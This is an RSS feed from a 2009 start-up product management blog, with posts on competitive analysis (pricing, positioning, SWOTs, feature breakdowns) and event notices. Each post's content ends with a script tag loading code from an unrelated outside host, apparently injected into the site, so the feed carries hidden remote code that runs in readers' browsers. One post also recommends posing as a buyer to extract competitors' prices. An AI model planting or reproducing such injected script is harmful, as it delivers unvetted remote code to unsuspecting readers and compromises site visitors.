<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Write That Down &#187; Adam Bullied</title>
	<atom:link href="http://writethatdown.com/archives/author/admin/feed" rel="self" type="application/rss+xml" />
	<link>http://writethatdown.com</link>
	<description>Start-up Product Management</description>
	<lastBuildDate>Sat, 24 Jul 2010 00:59:14 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Product Management Open House</title>
		<link>http://writethatdown.com/archives/2009/11/product-management-open-house</link>
		<comments>http://writethatdown.com/archives/2009/11/product-management-open-house#comments</comments>
		<pubDate>Thu, 05 Nov 2009 15:02:45 +0000</pubDate>
		<dc:creator>Adam Bullied</dc:creator>
				<category><![CDATA[Community]]></category>
		<category><![CDATA[discussion]]></category>
		<category><![CDATA[forrester]]></category>
		<category><![CDATA[Live]]></category>
		<category><![CDATA[Marketing]]></category>
		<category><![CDATA[socialmedia]]></category>

		<guid isPermaLink="false">http://writethatdown.com/archives/2009/11/product-management-open-house</guid>
		<description><![CDATA[There is an open house tomorrow at Forrester being hosted by Tom Grant of the Heretech fame. It starts at 5:30pm, and is happening in order to host lively discussion on, what else, product management and product marketing issues. Specifically for this first session, there will be a focus on how social media is changing [...]]]></description>
			<content:encoded><![CDATA[<p></p><p>There is an <a href="http://www.theheretech.com/2009/10/pm-open-house-at-forresters-foster-city-office-on-1105.html" target="_blank">open house</a> tomorrow at Forrester being hosted by Tom Grant of <a href="http://www.theheretech.com" target="_blank">the Heretech</a> fame.</p>
<p>It starts at 5:30pm, and is happening in order to host lively discussion on, what else, product management and product marketing issues. Specifically for this first session, there will be a focus on how social media is changing product roles within all types and sizes of organizations.</p>
<p>If you are in the bay area, be sure to stop by and say hi to Tom!</p>
<p><script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://writethatdown.com/archives/2009/11/product-management-open-house/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>reBlog from avc.com: A VC</title>
		<link>http://writethatdown.com/archives/2009/10/reblog-from-avc-com-a-vc</link>
		<comments>http://writethatdown.com/archives/2009/10/reblog-from-avc-com-a-vc#comments</comments>
		<pubDate>Wed, 28 Oct 2009 14:00:07 +0000</pubDate>
		<dc:creator>Adam Bullied</dc:creator>
				<category><![CDATA[Product Management]]></category>

		<guid isPermaLink="false">http://writethatdown.com/archives/2009/10/reblog-from-avc-com-a-vc</guid>
		<description><![CDATA[I found this fascinating quote today: If you look at our portfolio, you&#8217;ll see quite a few startups created by young visionaries and quite a few startups created by serial entrepreneurs who are swinging for the fences. There isn&#8217;t much else to be honest.avc.com, A VC, Oct 2009 You should read the whole article.]]></description>
			<content:encoded><![CDATA[<p></p><p>I found this fascinating quote today:</p>
<blockquote class="zemanta-reblog-quote" style="margin: 1em 3em;">
<p>If you look at our portfolio, you&#8217;ll see quite a few startups created by young visionaries and quite a few startups created by serial entrepreneurs who are swinging for the fences. There isn&#8217;t much else to be honest.<span class="attribution zemanta-reblog-cite" style="text-align: right; display: block; width: 100%; padding-top: 1em; padding-right: 0px; padding-bottom: 1em; padding-left: 0px;">avc.com, <a href="http://www.avc.com/a_vc/2009/10/swinging-for-the-fences.html">A VC</a>, Oct 2009</span></p>
</blockquote>
<p>You should read the whole article.</p>
<p><script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://writethatdown.com/archives/2009/10/reblog-from-avc-com-a-vc/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Competitive Analysis &#8211; Gathering Marketing Data</title>
		<link>http://writethatdown.com/archives/2009/09/gathering-marketing-dat</link>
		<comments>http://writethatdown.com/archives/2009/09/gathering-marketing-dat#comments</comments>
		<pubDate>Fri, 11 Sep 2009 15:45:29 +0000</pubDate>
		<dc:creator>Adam Bullied</dc:creator>
				<category><![CDATA[Marketing]]></category>
		<category><![CDATA[competition]]></category>
		<category><![CDATA[competitive analysis]]></category>
		<category><![CDATA[market data]]></category>

		<guid isPermaLink="false">http://writethatdown.com/?p=689</guid>
		<description><![CDATA[The last component I&#8217;ll discuss of the competitive analysis process is culling marketing and sales collateral from your list of identified competitors. Why do this? You want to be acquainted with what they are putting out there. It should give you a sense of how their products are being positioned (however poorly or not). In [...]]]></description>
			<content:encoded><![CDATA[<p></p><p>The last component I&#8217;ll discuss of the competitive analysis process is culling marketing and sales collateral from your list of identified competitors.</p>
<p>Why do this?</p>
<p>You want to be acquainted with what they are putting out there. It should give you a sense of how their products are being positioned (however poorly or not). In turn, that should give you a sense of a) how strong your own positioning is and b) <a href="http://writethatdown.com/archives/2009/08/competitive-analysis-series-positioning">positioning around that competitor</a> as a result.</p>
<p>These materials can also be used as a quick way to give others in your organization an idea of the lay of the land. It&#8217;s better for your sales guys to go in to a discussion about why your product is better as prepared as they can be, instead of not really knowing how the competitor&#8217;s wares are being sold. By sharing these materials cross-functionally, you setup the chance everyone knows what a prospect has already hard and/or read so points can be more easily communicated and/or refuted if need be.</p>
<p>So sure, it&#8217;s a study in MarCom. But all in all, that&#8217;s not a bad thing, due to the core messaging via those materials.</p>
<p>The process doesn&#8217;t require a lot of explanation &#8211; collect what you can, study it, decide what is important and why, and discard the rest.<script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://writethatdown.com/archives/2009/09/gathering-marketing-dat/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Competitive Analysis Series &#8211; Pricing</title>
		<link>http://writethatdown.com/archives/2009/09/competitive-analysis-series-pricing</link>
		<comments>http://writethatdown.com/archives/2009/09/competitive-analysis-series-pricing#comments</comments>
		<pubDate>Wed, 09 Sep 2009 15:45:28 +0000</pubDate>
		<dc:creator>Adam Bullied</dc:creator>
				<category><![CDATA[Marketing]]></category>
		<category><![CDATA[competitive analysis]]></category>
		<category><![CDATA[market data]]></category>
		<category><![CDATA[pricing]]></category>
		<category><![CDATA[research]]></category>

		<guid isPermaLink="false">http://writethatdown.com/?p=681</guid>
		<description><![CDATA[One of the regular questions I (and I&#8217;m sure others) face when it comes to competitive analysis is, &#8220;what are they charging?&#8221; This is an especially tricky question to answer accurately. I&#8217;ve gone about this in a couple of different ways &#8211; obviously, when you are dealing with B2C companies that publicize their prices, it&#8217;s [...]]]></description>
			<content:encoded><![CDATA[<p></p><p>One of the regular questions I (and I&#8217;m sure others) face when it comes to competitive analysis is, &#8220;what are they charging?&#8221;</p>
<p>This is an especially tricky question to answer accurately.</p>
<p>I&#8217;ve gone about this in a couple of different ways &#8211; obviously, when you are dealing with B2C companies that publicize their prices, it&#8217;s simple. But before getting in to potential methods for gathering this data, I wanted to bring up a point as to why this is important information to acquire.</p>
<p>The first is sales. When you are assisting your sales team, it&#8217;s beneficial to have information (that you probably don&#8217;t want them presenting to prospects) regarding prices. It helps to know whether you are seriously undercutting a deal or coming in way too high.</p>
<p>The second is to assist you with value-based pricing. I&#8217;ve <a href="http://writethatdown.com/archives/2008/11/first-time-pricing">written about pricing before</a> from a different approach (cost-plus), with regards to a specific scenario. But value-based becomes critical the further your product proceeds through its lifecycle.</p>
<p>But, I digress.</p>
<p>Now, I&#8217;m certainly not advocating being unethical here. You have to make the choice as to whether gathering pricing data is worth going through this process for your organization.</p>
<p>It comes down to engaging your identified competitors in a brief conversation &#8211; typically with one of their sales reps. You don&#8217;t want to take up a lot of their time and resources with this. Get the pricing, maybe some information regarding how they are positioning to early-stage prospects, and move on.</p>
<p>I feel like I&#8217;m exposing some secret here, perhaps foolishly. Maybe not. Chances are, if you aren&#8217;t doing this with your competitors, they are probably doing it with your sales reps. I seem to recall (maybe incorrectly) that <a href="http://enthiosys.com/" target="_blank">Rich Mironov</a> had a great chapter on an effective process for gathering this information in his book <a href="http://www.amazon.com/gp/product/1439216061?ie=UTF8&amp;tag=writhadow-20&amp;linkCode=as2&amp;camp=1789&amp;creative=390957&amp;creativeASIN=1439216061" target="_blank">The Art of Product Management</a>. I would verify that, but can&#8217;t quickly find the book for some reason.</p>
<p>Your next question might be, &#8220;OK once I have a competitor on the line, what do I ask?&#8221; The trick is to keep it short and simple. Of course, you&#8217;re going to need to tell them you are calling from Some Company A and are interested in buying their product and/or service. Really, it&#8217;s that straightforward. I don&#8217;t like doing it, but I feel that the data is valuable information to have. And again, some product manager from that company is probably calling in to my business to achieve the same result.</p>
<p>Of course the conversation will take some turns and you can glean further data. But once you have what you need, just tell them you aren&#8217;t interested so the conversation can close out and you don&#8217;t show up in their pipelines and sales reports. Not for any reason other than, it&#8217;s just a drain on their time and resources, which you don&#8217;t want.<script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://writethatdown.com/archives/2009/09/competitive-analysis-series-pricing/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Great Companies</title>
		<link>http://writethatdown.com/archives/2009/09/great-companies</link>
		<comments>http://writethatdown.com/archives/2009/09/great-companies#comments</comments>
		<pubDate>Sat, 05 Sep 2009 05:06:02 +0000</pubDate>
		<dc:creator>Adam Bullied</dc:creator>
				<category><![CDATA[Blogsphere]]></category>
		<category><![CDATA[characteristics]]></category>
		<category><![CDATA[companies]]></category>
		<category><![CDATA[fredwilson]]></category>
		<category><![CDATA[startups]]></category>

		<guid isPermaLink="false">http://writethatdown.com/?p=678</guid>
		<description><![CDATA[How I missed this one yesterday I don&#8217;t know. But whatever you do, be sure to read through Fred Wilson&#8217;s post Ten Characteristics of Great Companies. Awesome stuff, and well worth the time to check out.]]></description>
			<content:encoded><![CDATA[<p></p><p>How I missed this one yesterday I don&#8217;t know. But whatever you do, be sure to read through Fred Wilson&#8217;s post <em><a href="http://www.avc.com/a_vc/2009/09/ten-characteristics-of-great-companies.html" target="_blank">Ten Characteristics of Great Companies</a></em>. Awesome stuff, and well worth the time to check out.<script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://writethatdown.com/archives/2009/09/great-companies/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Competitive Analysis Series &#8211; Positioning</title>
		<link>http://writethatdown.com/archives/2009/08/competitive-analysis-series-positioning</link>
		<comments>http://writethatdown.com/archives/2009/08/competitive-analysis-series-positioning#comments</comments>
		<pubDate>Thu, 13 Aug 2009 15:45:06 +0000</pubDate>
		<dc:creator>Adam Bullied</dc:creator>
				<category><![CDATA[Marketing]]></category>
		<category><![CDATA[analysis]]></category>
		<category><![CDATA[competition]]></category>
		<category><![CDATA[market data]]></category>
		<category><![CDATA[positioning]]></category>
		<category><![CDATA[research]]></category>

		<guid isPermaLink="false">http://writethatdown.com/?p=656</guid>
		<description><![CDATA[One of the key take-aways from a competitive analysis exercise is how you end-up positioning your product (and your organization) against those competitors. Especially early on in a product&#8217;s lifecycle, this is crucial. When you have executives out there talking up what you&#8217;re doing, the last thing you want is for them to blurt out [...]]]></description>
			<content:encoded><![CDATA[<p></p><p>One of the key take-aways from a competitive analysis exercise is how you end-up positioning your product (and your organization) against those competitors. Especially early on in a product&#8217;s lifecycle, this is crucial. When you have executives out there talking up what you&#8217;re doing, the last thing you want is for them to blurt out something about &#8220;oh, company so-and-so? Yeah, compared to us they are just horrible. We are SO much better.&#8221;</p>
<p>Better to be prepared for those situations.</p>
<p>I&#8217;ve done this a couple of different ways &#8211; typically in the form of a quick reference sheet just listing the competitors you are researching and the providing some basic points about how you and your offering are different. Of course, you are communicating how you are in fact better &#8211; but you don&#8217;t want to come out and specifically say that. If you did, it wouldn&#8217;t be competitive positioning.</p>
<p>Let&#8217;s look at some examples.</p>
<h2>Example &#8211; Gaming Consoles</h2>
<p>I play video games pretty regularly and I have an XBox 360, PS-3 and PSP. So for the sake of this exercise, let&#8217;s say you are competitively positioning the XBox 360 against the PS3.</p>
<blockquote><p>Point 1 &#8211; The PS3 supports Blu-ray technology.</p></blockquote>
<p><em>XBox 360 &#8211; Potential Positioning</em></p>
<p><a href="http://writethatdown.com/wp-content/uploads/2009/08/xbox.jpg"><img class="alignleft size-medium wp-image-672" title="Microsoft XBox 360" src="http://writethatdown.com/wp-content/uploads/2009/08/xbox-285x300.jpg" alt="xbox" width="125" height="132" /></a>While the 360 does not have this functionality yet, it&#8217;s something we are very actively pursuing. We recognize the quality of blu-ray discs is unmatched in the market, however we wanted to ensure we kept pace with the overwhelming market trends for consumers and gamers alike.</p>
<p>We&#8217;ve found that while they are picking up in popularity, the vast majority of our customers continue to purchase for DVDs.</p>
<blockquote><p>Point 2 &#8211; The PlayStation Network and Store are extremely user friendly and offers games on-demand.</p></blockquote>
<p><em>XBox 360 &#8211; Potential Positioning</em></p>
<p>We agree that the PlayStation Network and store offering are solid and well thought out.</p>
<p>XBox Live has all of the same functionality, and actually strives to provide a deeper engagement with a customer&#8217;s lifestyle by providing a robust experience that includes tight integration with MSN Messenger, social networking capabilities, complete games on-demand (new and older titles), custom community-created games, as well as our extremely popular XBox Live Arcade.</p>
<blockquote><p>Point 3 &#8211; Sony offers a superior development platform for game developers to leverage.<a href="http://writethatdown.com/wp-content/uploads/2009/08/sony_playstation_3.jpg"><img class="alignright size-full wp-image-671" title="Sony Playstation 3" src="http://writethatdown.com/wp-content/uploads/2009/08/sony_playstation_3.jpg" alt="sony_playstation_3" width="169" height="168" /></a></p></blockquote>
<p><em>XBox 360 &#8211; Potential Positioning</em></p>
<p>While the PlayStation has excellent hardware at its disposal, Microsoft has a long-standing reputation of working hard (and really well) with the development community. With our depth of expertise, we are confident the tools and SDKs we provide to our partners ensure a smooth development process.</p>
<p>In doing so, we help them to get their games on the shelves as fast as possible, while still maintaining the necessary rigor with game testing and development to guarantee quality.</p>
<p>I hope that provides a good idea of what you are looking to accomplish by positioning against competitors.</p>
<p>One of the keys is acknowledge what the competitor DOES have without going overboard and making it sound like it&#8217;s the best. Of course Sony has a fantastic piece of hardware. It&#8217;s well-built, has top-of-the-line components and the Sony brand backing it up. So it would actually hurt MSFT to sit there and think, &#8220;gee Sony just totally sucks. They have nothing to offer &#8211; how could anyone possibly even entertain the idea of buying such an expensive and poorly put together piece of plastic?&#8221;</p>
<p>Acknowledge what the competitor does and then immediately shift back to how your organization and your product are better &#8211; and why. Doing this kind of thing really opens up the fluff gates. Again, MSFT could start throwing around terms and phrases that make no sense but sound really, really shiny. For example, &#8220;&#8230;the 360 is a robust tool for lifestyle convergence.&#8221; Stick to what it is &#8211; a DVD player, a gaming console, with some other really cool things added that are loved and adored by certain segments of the market.</p>
<p>It&#8217;s crucial to keep it on a track that everyone can understand what it is and why it&#8217;s great. Another helpful resource may in fact be your sales group &#8211; they very well may be able to shine some light on what the competitors are saying to win deals (i.e., how are they positioning their product against yours). This can certainly help when coming up with ways to position around the competitors.</p>
<p>However, all of this at the end of the day is simply wordsmithing &#8211; you as the product manager must be able to separate fact from fiction and control fluff that may be getting put out there in a sales cycle, or in marketing collateral. Always, always base how you are positioning in fact, not &#8220;what sounds good today.&#8221; You&#8217;ll get in to far less trouble that way, and engineering will probably end-up thanking you for it at some point down the line.<script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://writethatdown.com/archives/2009/08/competitive-analysis-series-positioning/feed</wfw:commentRss>
		<slash:comments>27</slash:comments>
		</item>
		<item>
		<title>Competitive Analysis Series &#8211; SWOTs</title>
		<link>http://writethatdown.com/archives/2009/07/competitive-analysis-series-swots</link>
		<comments>http://writethatdown.com/archives/2009/07/competitive-analysis-series-swots#comments</comments>
		<pubDate>Mon, 27 Jul 2009 12:30:00 +0000</pubDate>
		<dc:creator>Adam Bullied</dc:creator>
				<category><![CDATA[Marketing]]></category>
		<category><![CDATA[competition]]></category>
		<category><![CDATA[competitive analysis]]></category>
		<category><![CDATA[research]]></category>
		<category><![CDATA[series]]></category>
		<category><![CDATA[SWOT]]></category>

		<guid isPermaLink="false">http://writethatdown.com/?p=646</guid>
		<description><![CDATA[Many things have been written about SWOTs, so I won&#8217;t take up a lot of space here. However, I will always do them for each identified competitor while executing a competitive analysis. There are great, more detailed, descriptions about SWOTs over at QuickMBA and Wikipedia you can check out &#8211; both are really good. Running [...]]]></description>
			<content:encoded><![CDATA[<p></p><p>Many things have been written about SWOTs, so I won&#8217;t take up a lot of space here. However, I will always do them for each identified competitor while executing a competitive analysis.</p>
<p>There are great, more detailed, descriptions about SWOTs over at <a href="http://www.quickmba.com/strategy/swot/" target="_blank">QuickMBA</a> and <a href="http://en.wikipedia.org/wiki/SWOT_analysis" target="_blank">Wikipedia</a> you can check out &#8211; both are really good.</p>
<p>Running this analysis for each of your identified competitors usually yields some excellent, and thoughtful, details. Even discussing the outcomes with your management team or peers can be helpful &#8211; you may discover (or think of something) your competition will probably look to do, which can certainly contribute to you making the best, and most appropriate, product decisions.</p>
<p>Of course, all questions are welcome and I hope folks find this helpful. I&#8217;m happy to answer any questions anyone may have about how to properly fill in a SWOT, so drop me a line!</p>
<p>I&#8217;ve put together a some pretty simple templates to help get you started &#8211; both in a <a href="http://docs.google.com/View?id=ajbr98gjdnt5_87c27f4wd4" target="_blank">document format</a> and <a href="http://docs.google.com/present/view?id=ajbr98gjdnt5_88g2x3xhgg" target="_blank">presentation / slide format</a>. You can also <a href="http://writethatdown.com/wp-content/uploads/2009/07/SWOT-Templates.zip" target="_blank">download both</a> in a ZIP file.<script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://writethatdown.com/archives/2009/07/competitive-analysis-series-swots/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Competitive Analysis Series &#8211; Feature Breakdowns</title>
		<link>http://writethatdown.com/archives/2009/07/competitive-analysis-series-feature-breakdowns</link>
		<comments>http://writethatdown.com/archives/2009/07/competitive-analysis-series-feature-breakdowns#comments</comments>
		<pubDate>Thu, 16 Jul 2009 01:40:12 +0000</pubDate>
		<dc:creator>Adam Bullied</dc:creator>
				<category><![CDATA[Marketing]]></category>
		<category><![CDATA[analysis]]></category>
		<category><![CDATA[competition]]></category>
		<category><![CDATA[features]]></category>
		<category><![CDATA[Management]]></category>
		<category><![CDATA[market data]]></category>
		<category><![CDATA[research]]></category>
		<category><![CDATA[series]]></category>
		<category><![CDATA[strategy]]></category>

		<guid isPermaLink="false">http://writethatdown.com/?p=643</guid>
		<description><![CDATA[One of the hardest aspects of competitive analysis is to perform a detailed feature-by-feature breakdown of each of your identified competitors. This is much easier to do within a B2C space than B2B &#8211; simply because within B2B, you (more often than not) don&#8217;t have access to the products themselves to do the feature analysis. [...]]]></description>
			<content:encoded><![CDATA[<p></p><p>One of the hardest aspects of competitive analysis is to perform a detailed feature-by-feature breakdown of each of your identified competitors. This is much easier to do within a B2C space than B2B &#8211; simply because within B2B, you (more often than not) don&#8217;t have access to the products themselves to do the feature analysis.</p>
<p>With B2C products, you can either a) get access to them to analyze for free or b) pay a fee to get a license to analyze them. On the B2B side, you are probably going to have to deal with sales calls, trials, demos, and other avenues in order to get the data you require.</p>
<p>I&#8217;ve put together a simple <a title="Google Spreadsheet Template" href="http://spreadsheets.google.com/ccc?key=0Ai1-NBEsvSD6cFRwa2dfYy1pOHVhY1J6NU1FdnNwSnc&amp;hl=en" target="_blank">Google spreadsheet</a> you can use as a guide / template to get started.</p>
<p>First off, try to group the features as best you can &#8211; and really, you are looking for features that you have and competitors don&#8217;t and vice versa. Knowing what competitors have that your product doesn&#8217;t (and keeping up-to-date on it) can help you make some of your prioritization decisions.</p>
<p>Each feature can be categorized in the following ways:</p>
<ul>
<li>Yes &#8211; this means the company has the feature</li>
<li>No &#8211; this means the company does not have the feature</li>
<li>On Roadmap &#8211; this means the company has the feature on their roadmap</li>
<li>In Development &#8211; this means the company is working on the feature</li>
<li>N/A &#8211; sometimes, certain features are just not applicable to the company</li>
</ul>
<p>Again, this level of detail is going to be very hard to get for B2B companies. However, during your travels (and when your sales reps come up against competitors) it will start to get filled in.</p>
<p>That&#8217;s really about it &#8211; no need to make this more complicated or anything &#8211; it really needs to be a simple, current spreadsheet of features showing how your product stacks up against the competition.</p>
<p>This shouldn&#8217;t be a singular tool to drive your decision-making and/or prioritization efforts; but it&#8217;s certainly a contributor. However, putting too much weight in the data this exercise yields may drive you to commoditize features for no real market reasons, so use your common sense.<script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://writethatdown.com/archives/2009/07/competitive-analysis-series-feature-breakdowns/feed</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Industry Immersion Article</title>
		<link>http://writethatdown.com/archives/2009/06/industry-immersion-article</link>
		<comments>http://writethatdown.com/archives/2009/06/industry-immersion-article#comments</comments>
		<pubDate>Tue, 23 Jun 2009 17:19:21 +0000</pubDate>
		<dc:creator>Adam Bullied</dc:creator>
				<category><![CDATA[Community]]></category>
		<category><![CDATA[articles]]></category>
		<category><![CDATA[industry]]></category>
		<category><![CDATA[market data]]></category>
		<category><![CDATA[Marketing]]></category>
		<category><![CDATA[pragmaticmarketing]]></category>
		<category><![CDATA[research]]></category>

		<guid isPermaLink="false">http://writethatdown.com/?p=641</guid>
		<description><![CDATA[I wrote an article for the latest issue of the Pragmatic Marketing monthly magazine on industry immersion &#8211; essentially, how to learn a new industry when you step in to manage a product within it. And then of course, keeping up to date with that industry and all of the data available to you. Check [...]]]></description>
			<content:encoded><![CDATA[<p></p><p>I wrote an article for the latest issue of the Pragmatic Marketing monthly magazine on industry immersion &#8211; essentially, how to learn a new industry when you step in to manage a product within it. And then of course, keeping up to date with that industry and all of the data available to you.</p>
<p><a href="http://www.pragmaticmarketing.com/publications/magazine/7/3/industry-immersion/" target="_blank">Check it out</a> and let me know what you think!<script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://writethatdown.com/archives/2009/06/industry-immersion-article/feed</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>Interview on the Heretech</title>
		<link>http://writethatdown.com/archives/2009/06/interview-on-the-heretech</link>
		<comments>http://writethatdown.com/archives/2009/06/interview-on-the-heretech#comments</comments>
		<pubDate>Wed, 17 Jun 2009 01:55:45 +0000</pubDate>
		<dc:creator>Adam Bullied</dc:creator>
				<category><![CDATA[Live]]></category>
		<category><![CDATA[forrester]]></category>
		<category><![CDATA[heretech]]></category>
		<category><![CDATA[interviews]]></category>

		<guid isPermaLink="false">http://writethatdown.com/?p=639</guid>
		<description><![CDATA[I did an interview with Tom Grant over on the Heretech podcast. Go and check it out and let me know what you think!]]></description>
			<content:encoded><![CDATA[<p></p><p>I did an interview with <a href="http://blogs.forrester.com/product_management/" target="_blank">Tom Grant</a> over on the Heretech podcast.</p>
<p><a href="http://www.theheretech.com/2009/06/the-heretech-podcast-episode-9-adam-bullied.html" target="_blank">Go and check it out</a> and let me know what you think!<script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://writethatdown.com/archives/2009/06/interview-on-the-heretech/feed</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
	</channel>
</rss>
